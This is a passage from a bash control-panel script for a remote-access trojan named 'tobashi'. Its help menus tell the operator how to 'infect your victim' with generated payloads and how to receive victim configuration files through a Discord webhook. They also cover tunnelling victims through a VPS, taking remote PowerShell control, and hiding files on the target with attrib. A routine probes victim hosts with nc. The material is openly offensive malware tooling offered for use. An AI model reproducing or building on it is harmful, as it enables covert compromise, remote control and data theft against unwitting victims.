▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌
▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▄▄▄▄█░█▄▄▄▄
▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌
▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀
"
echo ""
echo "_______________________*~HELP MENU~*_______________________"
echo ""
echo -e "${red}"
echo "Please select a topic :"
echo -e "${reset}"
echo -e "${gras}"
echo " [local].........Step to a local attack"
echo " [external]..Step to an external attack"
echo " [discord]..Set up your discord webhook"
echo -e "${cyan}"
read -p "Option :~ " help_option
echo -e "${reset}"
if [ "$help_option" = "local" ]; then
clear
echo ""
echo "Follow Steps to configure local payload : "
echo ""
echo "[1]. Take the link of your discord webhook, copy and paste into the file /discord_config/discord.txt at the line"
echo "below \"DISCORD WEBHOOK\". Then go to the main menu and select the option \"discord\" and click \"Enter\" to finish"
echo "the configuration."
echo ""
echo "[2]. You can take the payload in /payload_generated/initial_local.cmd and infect your victim with it."
echo ""
echo "[3]. A discord user configuration file will automatically be send to your discord server in the tobashi console,"
echo "Copy this file and paste it in /users/local/."
echo ""
echo "[4]. Go to the main menu of tobashi, and select the option \"user\" to select the user that you want to remote."
echo "Note that you can select here if you want to do a local or external (vps) attack."
echo ""
echo "[5]. Now you can remote the target machine by select the option \"console\" in the main menu of tobashi."
echo ""
echo "[6]. ADVICE : command : powershell to go on a remote powershell. You can also hide the user file in C:\\Users\\ by execute"
echo "attrib +h +s +r C:\\Users\\[name_of_file_user]".
echo ""
echo "[7]. When you are finished, just enter this command : \"exit\" (two times if you are in the powershell of the target)."
read -p "Click Enter to go back to the menu...." dummy
elif [ "$help_option" = "external" ]; then
clear
echo ""
echo "Follow Steps to configure external (vps) payload :"
echo ""
echo "[1]. Take the link of your discord webhook, copy and paste into the file /discord_config/discord.txt at the line"
echo "below \"DISCORD WEBHOOK\". Then go to the main menu and select the option \"discord\" and click \"Enter\" to finish"
echo "the configuration."
echo ""
echo "[2]. Configure your VPS by select the option \"vps\" in the main menu and add your username, vps ip adress, vps password"
echo "This will set your VPS to create automatically a ssh tunnelling between victims and your machine. The VPS will automatically"
echo "restart, in order to prevent from classic errors."
echo ""
echo "[3]. You can take the payload in /payload_generated/initial_vps.cmd and infect your victim with it."
echo ""
echo "[4]. A discord user configuration file will automatically be send to your discord server in the tobashi console,"
echo "Copy this file and paste it in /users/vps/."
echo ""
echo "[5]. Go to the main menu of tobashi, and select the option \"user\" to select the user that you want to remote."
echo "Note that you can select here if you want to do a local or external (vps) attack."
echo ""
echo "[6]. Now you can remote the target machine by select the option \"console\" in the main menu of tobashi."
echo ""
echo "[7]. ADVICE : command : powershell to go on a remote powershell. You can also hide the user file in C:\\Users\\ by execute"
echo "attrib +h +s +r C:\\Users\\[name_of_file_user]".
echo ""
echo "[8]. When you are finished, just enter this command : \"exit\" (two times if you are in the powershell of the target)."
read -p "Click Enter to go back to the menu...." dummy
elif [ "$help_option" = "discord" ]; then
clear
echo "Follow Steps to configure your discord webhook : "
echo ""
echo "[1]. Go to discord, in the bottom left side, you have a \"New\" button, click here and create"
echo "your discord server. Create a new channel with the name that you want."
echo ""
echo "[2]. To set up a new discord webhook and linked to the channel, go to your server settings,"
echo "click to \"Integration\" in the section called \"Application\". Then go to \"Webhook\", and "
echo "create a new discord webhook."
echo ""
echo "[3]. ATTENTION : The name of the discord webhook MUST BE \"tobashiconsole\". Select the channel"
echo "that you've create before."
echo ""
echo "[4]. Your discord webhook is now set !"
echo ""
read -p "[+] Click Enter to back to the menu........." dummy
else
echo "[+] Invalid Option !...... "
echo ""
read -p "[+] Click Enter to back to the menu........." dummy
fi
}
### Help Menu--------------------------------------------
### grabber Menu--------------------------------------------
grabber_menu(){
clear
echo "IN DEVELOPMENT..."
echo ""
read -p "Enter...." dummy
}
### grabber Menu--------------------------------------------
### checking user menu ---------------
check_users() {
clear
echo ""
echo -e "${red}"
echo "_______________________*~CONNECTION TABLE~*_______________________"
echo ""
echo -e "${reset}"
echo -e "${gras}"
local user_dir="./users/vps/"
local user_files=$(ls $user_dir)
for user_file in $user_files; do
local file_path="${user_dir}${user_file}"
local display_name=$(basename "$user_file" .txt)
# Nettoyer les variables pour supprimer les caractères indésirables
local username=$(sed -n '1p' $file_path | tr -d '\r' | tr -d '\n')
local ip=$(sed -n '6p' $file_path | tr -d '\r' | tr -d '\n')
local port=$(sed -n '7p' $file_path | tr -d '\r' | tr -d '\n')
echo "----------------------------------------"
# Utiliser nc pour tester la connexion
echo -e "Testing ${display_name} @ ${ip}:${port}..."
nc -z -w 3 $ip $port
if [ $? -eq 0 ]; then
echo -e "${display_name} @ ${ip}:${port} - \e[32mConnected\e[0m"
else
echo -e "${display_name} @ ${ip}:${port} - \e[31mNot Connected\e[0m"
fi
echo "----------------------------------------"
echo ""
done
echo ""
echo ""
read -p "Click Enter to go back to Menu.........."
clear
}
### checking user menu ---------------
while true
do
main_menu
echo -e "${cyan}${gras}"
read -p "[+] Option~:$ " choix_main_menu
echo -e "${reset}"
case $choix_main_menu in
generate)
generate_menu
;;
user)
choose_user
;;
console)
console_menu
;;
check)
check_users
;;
discord)
discord_menu
;;
vps)
vps_menu
;;
download)
download_menu
;;
upload)
upload_menu
;;
grabber)
grabber_menu
;;
reset)
reset_menu
;;
killsession)
kill_menu
;;
quit)